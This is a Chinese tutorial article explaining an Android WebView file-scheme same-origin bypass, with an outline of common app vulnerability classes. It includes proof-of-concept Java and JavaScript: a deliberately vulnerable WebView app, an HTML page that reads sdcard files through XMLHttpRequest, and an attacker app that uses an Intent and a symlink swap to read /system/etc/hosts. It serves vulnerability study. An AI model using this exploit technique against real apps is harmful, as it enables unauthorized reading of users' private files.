WebView File域同源策略绕过漏洞实例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
基本知识Android架构
Andoroid常用组件
Acitivity活动
Service服务
BroadcastRecviver广播接收器
ContentProvider内容提供器
Android App常见漏洞 (OWASP Mobile Top 10)平台使用不当
典型漏洞及挖掘方法数据存储漏洞
数据文件或目录
明文存储
MODE_PRIVATE
明文存储
创建数据库时没有使用MODE_PRIVATE模式
创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件
明文存储,而root用户可读,导致敏感数据泄露
SharedPreferences
data/data/程序包名/shared_prefs/*.xml
SQLiteDatabases
data/data程序包名/database/*.db
InternalStorage
data/data/程序报名/files/*
ExternalStorage
/mnt/sdcard/*
检测方法
挖掘方法
数据通信漏洞
组件暴露漏洞
弱加密漏洞
WebView
主要包括三种漏洞:
漏洞挖掘流程总结
静态分析
快速检测,获得分析重点目标
检查AndroidManifest文件
脚本分析Smali代码
动态分析
对疑似风险进行验证和危害评估
调试模式分析
尝试操作/漏洞验证
drozer
抓包分析数据及接口
逆向分析
加密破解以及对逻辑和代码的进一步分析
自动化辅助系统
MobSF 包括前端web界面,
Marvin 包括前端web界面,部署麻烦
Inspeckage Xposed插件
今天我们就来讲讲WebView 的漏洞
[Java] 纯文本查看 复制代码
?
示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。
或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
代码如下代码主要区别在于这次加载的attack_file.html
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
String mUrl1 = "file:///android_asset/html/attack_file.html";
//String mUrl2 = "file:///android_asset/html/test.html";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "This text is returned from Java layer. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。
我们再来看attack_file.html的代码:‘
<font ><font face="&quot;"><font ><html>
<body>
<script>
function stealFile()
{
var file = "file:///mnt/sdcard/233.txt";
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html> </font></font></font>
由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。
如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.
首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。
我们首先看WebViewFileDemo1,主要代码如下:
<font face="&quot;"><font >package com.example.webviewfiledemo; [/size][/font][/p]
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(false);
//webView.getSettings().setAllowFileAccess(false);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
Intent i = getIntent();
if (i != null) {
mUri = i.getData();
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url);
}
}
} </font></font>
这个Activity接收来自外部的Intent,提取Intent里面的url并加载。
接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:
public class MainActivity extends Activity {
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;"+
"function doitjs(){"+
"var xhr = new XMLHttpRequest;"+
"xhr.onload = function(){"+
"var txt = xhr.responseText;"+
"d.body.appendChild(d.createTextNode(txt));"+
"alert(txt);"+"};"+
"xhr.open('GET',d.URL);"+
"xhr.send(null);"+
"}"+
"setTimeout(doitjs,8000);"+
"</script>"+
"</body>";
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
try {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
}
public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
// TODO: handle exception
}
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO: handle exception
}
}
}
通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;"+
"function doitjs(){"+
"var xhr = new XMLHttpRequest;"+
"xhr.onload = function(){"+
"var txt = xhr.responseText;"+
"d.body.appendChild(d.createTextNode(txt));"+
"alert(txt);"+"};"+
"xhr.open('GET',d.URL);"+
"xhr.send(null);"+
"}"+
"setTimeout(doitjs,8000);"+
"</script>"+
"</body>";
当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注天达云行业资讯频道,感谢您对天达云的支持。